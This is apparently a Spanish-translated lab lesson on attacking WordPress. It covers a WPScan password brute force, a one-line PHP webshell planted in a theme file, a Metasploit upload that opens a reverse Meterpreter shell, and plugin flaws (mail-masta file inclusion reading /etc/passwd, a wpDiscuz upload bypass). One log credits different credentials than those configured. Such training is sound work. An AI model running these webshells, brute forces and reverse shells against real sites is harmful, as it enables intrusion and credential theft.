Hemos confirmado que el sitio web de la empresa se ejecuta en WordPress y hemos enumerado la versión y los complementos instalados. Ahora busquemos rutas de ataque e intentemos obtener acceso a la red interna.
Hay varias formas en que podemos abusar de la funcionalidad incorporada para atacar una instalación de WordPress. Trataremos el ataque por fuerza bruta de inicio de sesión contra la página wp-login.php y la ejecución remota de código a través del editor de temas. Estas dos tácticas se complementan entre sí, ya que primero necesitamos obtener credenciales válidas para que un usuario de nivel administrador inicie sesión en el back-end de WordPress y edite un tema.
Bruteforce de login en Wordpress
WPScan se puede utilizar para forzar nombres de usuario y contraseñas. El informe de escaneo de la sección anterior arrojó dos usuarios registrados en el sitio web (admin y john). La herramienta utiliza dos tipos de ataques de fuerza bruta para iniciar sesión, xmlrpc y wp-login. El método wp-login intentará forzar la página de inicio de sesión estándar de WordPress, mientras que el método xmlrpc utiliza la API de WordPress para realizar intentos de inicio de sesión a través de /xmlrpc.php. Se prefiere este método xmlrpc porque es más rápido.
afsh4ck@kali$ sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
[+] URL: http://blog.inlanefreight.local/ [10.129.42.195]
[+] Started: Wed Aug 25 11:56:23 2021
<SNIP>
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - john / firebird1
Trying john / bettyboop Time: 00:00:13 < > (660 / 14345052) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: john, Password: firebird1
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
[+] Finished: Wed Aug 25 11:56:46 2021
[+] Requests Done: 799
[+] Cached Requests: 39
[+] Data Sent: 373.152 KB
[+] Data Received: 448.799 KB
[+] Memory used: 221 MB
[+] Elapsed time: 00:00:23
La flag --password-attack se utiliza para indicar el tipo de ataque. El parámetro -U incluye una lista de usuarios o un archivo que contiene los nombres de los usuarios. Esto también se aplica a la opción de contraseñas -P. La flag -t es la cantidad de subprocesos que podemos ajustar hacia arriba o hacia abajo según corresponda. WPScan pudo encontrar credenciales válidas para un usuario, john:firebird1.
Ejecución de código remoto
Con acceso administrativo a WordPress, podemos modificar el código fuente PHP para ejecutar comandos del sistema. Iniciamos sesión en WordPress con las credenciales del usuario john, lo que nos redireccionará al panel de administración. Hacemos clic en Apariencia en el panel lateral y seleccionamos Editor de temas. Esta página nos permitirá editar el código fuente PHP directamente. Se puede seleccionar un tema inactivo para evitar corromper el tema principal. Ya sabemos que el tema activo es Transport Gravity. Se puede elegir un tema alternativo como Twenty Nineteen en su lugar.
Hacemos click en Select después de seleccionar el tema y podremos editar una página poco común, como por ejemplo 404.php para agregar un webshell.
system($_GET[0]);
El código anterior debería permitirnos ejecutar comandos mediante el parámetro GET 0. Agregamos esta única línea al archivo justo debajo de los comentarios para evitar modificar demasiado el contenido.
Hacemos click en Update File en la parte inferior para guardar. Sabemos que los temas de WordPress se encuentran en /wp-content/themes/<theme name>. Podemos interactuar con el webshell a través del navegador o usando cURL. Como siempre, podemos utilizar este acceso para obtener un reverse shell interactivo y comenzar a explorar el objetivo.
El módulo wp_admin_shell_upload de Metasploit se puede utilizar para cargar un shell y ejecutarlo automáticamente.
El módulo carga un plugin malicioso y luego lo usa para ejecutar un shell PHP Meterpreter. Primero debemos configurar las opciones necesarias.
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts blog.inlanefreight.local
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username john
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password firebird1
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.14.15
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 10.129.42.195
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set VHOST blog.inlanefreight.local
Luego podemos emitir el comando show options para asegurarnos de que todo esté configurado correctamente. En este ejemplo de laboratorio, debemos especificar tanto el vhost como la dirección IP, o el exploit fallará con el error
Exploit aborted due to failure: not-found: The target does not appear to be using WordPress.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD firebird1 yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.129.42.195 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME john yes The WordPress username to authenticate with
VHOST blog.inlanefreight.local no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
Una vez que estemos satisfechos con la configuración, podemos escribir exploit y obtener un shell inverso. Desde aquí, podríamos comenzar a enumerar el host para obtener datos confidenciales o rutas para la escalada de privilegios vertical/horizontal y el movimiento lateral.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] Authenticating with WordPress using doug:jessica1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/CczIptSXlr/wCoUuUPfIO.php...
[*] Sending stage (39264 bytes) to 10.129.42.195
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.129.42.195:42816) at 2021-09-20 19:43:46 -0400
i[+] Deleted wCoUuUPfIO.php
[+] Deleted CczIptSXlr.php
[+] Deleted ../CczIptSXlr
meterpreter > getuid
Server username: www-data (33)
En el ejemplo anterior, el módulo Metasploit cargó el archivo wCoUuUPfIO.php en el directorio /wp-content/plugins. Muchos módulos Metasploit (y otras herramientas) intentan limpiar lo que han dejado de hacer, pero algunos fallan. Durante una evaluación, querríamos hacer todo lo posible para limpiar este artefacto del sistema cliente e, independientemente de si pudimos eliminarlo o no, deberíamos incluirlo en los apéndices de nuestro informe. Como mínimo, nuestro informe debería tener una sección de apéndice que incluya la siguiente información (más sobre esto en un módulo posterior).
Sistemas explotados (nombre de host/IP y método de explotación)
Usuarios comprometidos (nombre de cuenta, método de compromiso, tipo de cuenta (local o de dominio))
Artefactos creados en sistemas
Cambios (como agregar un usuario administrador local o modificar la membresía del grupo)
Vulnerabilidades conocidas
A lo largo de los años, el núcleo de WordPress ha sufrido una buena cantidad de vulnerabilidades, pero la gran mayoría de ellas se pueden encontrar en complementos. Según la página de estadísticas de vulnerabilidades de WordPress alojada aquí , en el momento de redactar este artículo, había 23 595 vulnerabilidades en la base de datos de WPScan. Estas vulnerabilidades se pueden desglosar de la siguiente manera:
4% del núcleo de WordPress
89% complementos
7% temas
La cantidad de vulnerabilidades relacionadas con WordPress ha crecido de manera constante desde 2014, probablemente debido a la gran cantidad de temas y complementos gratuitos (y de pago) disponibles, y cada semana se agregan más. Por este motivo, debemos ser extremadamente minuciosos al enumerar un sitio de WordPress, ya que podemos encontrar complementos con vulnerabilidades descubiertas recientemente o incluso complementos antiguos, sin uso u olvidados que ya no cumplen ninguna función en el sitio, pero a los que aún se puede acceder.
Nota: Podemos utilizar la herramienta waybackurls para buscar versiones anteriores de un sitio de destino mediante Wayback Machine. A veces, podemos encontrar una versión anterior de un sitio de WordPress que utiliza un complemento que tiene una vulnerabilidad conocida. Si el complemento ya no se utiliza, pero los desarrolladores no lo eliminaron correctamente, es posible que aún podamos acceder al directorio en el que está almacenado y aprovechar una falla.
Complementos vulnerables - mail-masta
Veamos algunos ejemplos. El complemento mail-masta ya no es compatible, pero ha tenido más de 2300 descargas a lo largo de los años. No está fuera del ámbito de la posibilidad de que nos encontremos con este complemento durante una evaluación, probablemente instalado una vez y olvidado. Desde 2016 ha sufrido una inyección SQL no autenticada y una inclusión de archivo local .
Echemos un vistazo al código vulnerable del complemento mail-masta:
<?php include($_GET['pl']);global $wpdb;$camp_id=$_POST['camp_id'];$masta_reports = $wpdb->prefix ."masta_reports";$count=$wpdb->get_results("SELECTcount(*) co from $masta_reports where camp_id=$camp_id andstatus=1");echo $count[0]->co;?>
Como podemos ver, el parámetro pl nos permite incluir un archivo sin ningún tipo de validación o sanitización de entrada. Con esto, podemos incluir archivos arbitrarios en el servidor web. Aprovechemos esto para recuperar el contenido del archivo /etc/passwd usando cURL.
wpDiscuz es un complemento de WordPress para mejorar la capacidad de comentar en las publicaciones de las páginas. Al momento de escribir este artículo, el complemento tenía más de 1,6 millones de descargas y más de 90 000 instalaciones activas, lo que lo convierte en un complemento extremadamente popular que tenemos muchas posibilidades de encontrar durante una evaluación. Según el número de versión (7.0.4), este exploit tiene muchas posibilidades de hacernos ejecutar un comando. El quid de la vulnerabilidad es una omisión de la carga de archivos. wpDiscuz está pensado únicamente para permitir adjuntos de imágenes. Las funciones de MIME Type de archivo podrían omitirse, lo que permitiría a un atacante no autenticado cargar un archivo PHP malicioso y obtener la ejecución remota de código. Puede encontrar más información sobre la omisión de las funciones de detección de MIME Type aquí .
El script de explotación toma dos parámetros: la URL -u y la ruta a una publicación válida -p.
El exploit tal como está escrito puede fallar, pero podemos usar cURL para ejecutar comandos mediante el webshell cargado. Solo tenemos que agregar ?cmd= después de la extensión .php para ejecutar los comandos que podemos ver en el script del exploit:
En este ejemplo, queremos asegurarnos de limpiar el archivo uthsdkbywoxeebg-1629904090.8191.php y volver a incluirlo como un artefacto de prueba en los apéndices de nuestro informe.
Utilizando los métodos que se muestran en esta sección, busque otro usuario del sistema cuyo shell de inicio de sesión esté configurado en /bin/bash.
En la sección anterior descubrimos que este host tiene instalado una versión vulnerable del plugin Mail Masta, que nos permite leer archivos del sistema, como el /etc/passwd:
[+] mail-masta
| Location: http://blog.inlanefreight.local/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Last Updated: 2014-09-19T07:52:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blog.inlanefreight.local/wp-content/plugins/mail-masta/readme.txt
